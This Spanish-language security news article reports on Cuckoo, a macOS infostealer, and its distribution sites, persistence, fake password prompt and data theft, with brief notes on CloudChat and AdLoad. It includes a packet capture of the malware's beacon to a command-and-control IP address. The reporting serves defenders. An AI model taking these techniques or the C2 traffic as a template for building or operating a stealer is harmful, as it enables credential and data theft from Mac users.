



Investigadores de seguridad cibernética han descubierto un nuevo programa de robo de información dirigido a los sistemas Apple macOS que está diseñado para establecer una presencia continua en los dispositivos infectados y funcionar como un programa espía.

Apodado Cuckoo por Kandji, el malware es un binario Mach-O universal capaz de ejecutarse tanto en Macs con procesadores Intel como en aquellos basados en Arm.

Actualmente, no está claro el método exacto de distribución, aunque hay indicios de que el binario se encuentra alojado en sitios como dumpmedia[.]com, tunesolo[.]com, fonedog[.]com, tunesfun[.]com y tunefab[.]com, los cuales afirman ofrecer versiones gratuitas y de pago de aplicaciones dedicadas a extraer música de servicios de streaming y convertirla a formato MP3.

El archivo de imagen de disco descargado desde estos sitios web es responsable de ejecutar un shell de bash para recopilar información del dispositivo y asegurarse de que la máquina comprometida no se encuentre en Armenia, Bielorrusia, Kazajistán, Rusia o Ucrania. El binario malicioso solo se ejecuta si la verificación de la ubicación es exitosa.

Además, establece una presencia continua mediante un LaunchAgent, una técnica previamente utilizada por diferentes familias de malware como RustBucket, XLoader, JaskaGO y un backdoor de macOS que comparte características con ZuRu.

Al igual que el malware MacStealer macOS, Cuckoo también utiliza osascript para mostrar un falso cuadro de diálogo de contraseña y engañar a los usuarios para que ingresen las contraseñas de sus sistemas y obtener así privilegios de administrador.

«Este malware busca archivos específicos asociados con aplicaciones particulares, con el objetivo de recopilar la mayor cantidad posible de información del sistema», señalaron los investigadores Adam Kohler y Christopher Lopez.

Está equipado para ejecutar una serie de comandos que extraen información del hardware,



capturan los procesos en ejecución, buscan aplicaciones instaladas, toman capturas de pantalla y recopilan datos de iCloud Keychain, Notas de Apple, navegadores web, billeteras de criptomonedas y aplicaciones como Discord, FileZilla, Steam y Telegram.

«Cada aplicación maliciosa contiene otro paquete de aplicación dentro del directorio de recursos. Todos esos paquetes (excepto los alojados en fonedog[.]com) están firmados y tienen un ID de desarrollador válido de Yian Technology Shenzhen Co., Ltd (VRBJ4VRP)», agregaron los investigadores.

```
POST /static.php HTTP/1.1\r\n
> [Expert Info (Chat/Sequence): POST /static.php HTTP/1.1\r\n]
  Request Method: POST
  Request URI: /static.php
  Request Version: HTTP/1.1
  Host: 146.70.80.123\r\n
  Accept: */*\r\n
  Content-Type: application/octet-stream\r\n
  Content-Encoding: binary\r\n
  Content-Length: 40\r\n
\r\n
[Full request URI: http://146.70.80.123/static.php]
[HTTP request 1/1]
[Response in frame: 48]
Content-encoded entity body (binary): 40 bytes
> [Expert Info (Warning/Undecoded): Decompression failed]
  Data (40 bytes)
    Data: 3130327c45343045433835382d354234412d354233462d423831462d313631444631374430344633
    [Length: 40]
0000 00 1c 42 00 00 18 00 1c 42 31 d9 08 08 00 45 00  ..B.... B1...E.
0010 00 e5 00 00 40 00 40 06 15 6e 0a d3 37 11 92 46  ...@.@.n.7.F
0020 50 7b c0 35 00 50 d4 c5 74 1f 46 af 21 12 50 18  P{.5.P..t.F!.P.
0030 10 00 25 7d 00 00 50 4f 53 54 20 2f 73 74 61 74  .%}.PO ST /stat
0040 69 63 2e 70 68 70 20 48 54 54 50 2f 31 2e 31 0d  ic.php H TTP/1.1.
0050 0a 48 6f 73 74 3a 20 31 34 36 2e 37 30 2e 38 30  .Host: 146.70.80
0060 2e 31 32 33 0d 0a 41 63 63 65 70 74 3a 20 2a 2f  .123..Ac cept: */
0070 2a 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a  *.Conte nt-Type:
0080 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74  applica tion/oct
0090 65 74 2d 73 74 72 65 61 6d 0d 0a 43 6f 6e 74 65  et-strea m..Conte
00a0 6e 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 62 69 6e  nt-Encod ing: bin
00b0 61 72 79 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e  ary..Con tent-Len
00c0 67 74 68 3a 20 34 30 0d 0a 0d 0a 31 30 32 7c 45  gth: 40. ...102|E
00d0 34 30 45 43 38 35 38 2d 35 42 34 41 2d 35 42 33  40EC858- 5B4A-5B3
00e0 46 2d 42 38 31 46 2d 31 36 31 44 46 31 37 44 30  F-B81F-1 61DF17D0
00f0 34 46 33 4F3
```



«El sitio web fonedog[.]com alojaba una herramienta de recuperación de Android, entre otras cosas; el paquete de aplicación adicional en este caso tiene un ID de desarrollador de FoneDog Technology Limited (CUAU2GTG98)».

La divulgación se produce casi un mes después de que la empresa de gestión de dispositivos Apple también expusiera otro programa de robo de información llamado [CloudChat](#), que se hace pasar por una aplicación de mensajería centrada en la privacidad y es capaz de comprometer a usuarios de macOS cuyas direcciones IP no se ubican en China.

El malware funciona al capturar claves privadas de criptomonedas copiadas al portapapeles y datos asociados con extensiones de billetera instaladas en Google Chrome.

También sigue al descubrimiento de una nueva variante del conocido malware AdLoad escrito en Go llamado Rload (también conocido como Lador), que está diseñado para evadir la lista de firmas de malware Apple XProtect y está compilado únicamente para la arquitectura Intel x86\_64.

«Los binarios funcionan como lanzadores iniciales para la carga útil de la siguiente etapa», [dijo](#) el investigador de seguridad de SentinelOne, Phil Stokes, en un informe la semana pasada, agregando que los métodos de distribución específicos permanecen actualmente oscuros.

Dicho esto, estos lanzadores suelen estar incrustados típicamente en aplicaciones crackeadas o troyanizadas distribuidas por sitios web maliciosos.

AdLoad, una campaña extendida de adware que afecta a macOS desde al menos 2017, es conocida por manipular los resultados de los motores de búsqueda e inyectar anuncios en páginas web con el fin de obtener ganancias monetarias mediante un proxy web adversario que redirige el tráfico web del usuario a través de la infraestructura del atacante.